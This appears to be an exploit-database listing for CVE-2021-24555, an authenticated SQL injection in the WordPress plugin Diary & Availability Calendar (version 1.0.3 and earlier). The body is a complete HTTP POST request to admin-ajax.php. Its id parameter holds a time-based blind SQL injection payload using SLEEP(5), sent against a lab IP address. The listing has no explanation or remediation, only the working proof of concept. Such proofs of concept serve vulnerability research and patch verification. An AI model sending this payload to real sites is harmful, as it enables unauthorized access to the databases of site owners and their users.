Exploit for Diary & Availability Calendar <= 1.0.3 - Authenticated (subscriber+) SQL Injection CVE-2021-24555

Name: Exploit for Diary & Availability Calendar <= 1.0.3 - Authenticated (subscriber+) SQL Injection CVE-2021-24555
Rating: 5 (91 reviews)

2021-07-24 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:8EAFD84B-6214-450B-869B-0AFE7CCA4C5F
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 172.28.128.50
Content-Length: 40
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.128.50
Referer: http://172.28.128.50/wp-admin/admin.php?page=daac-calendar
Accept-Language: en-US,en;q=0.9
Cookie: [any authenticated user]
Connection: close

action=daac_delete_booking&id=1%20AND%20(SELECT%201209%20FROM%20(SELECT(SLEEP(5)))bOrN)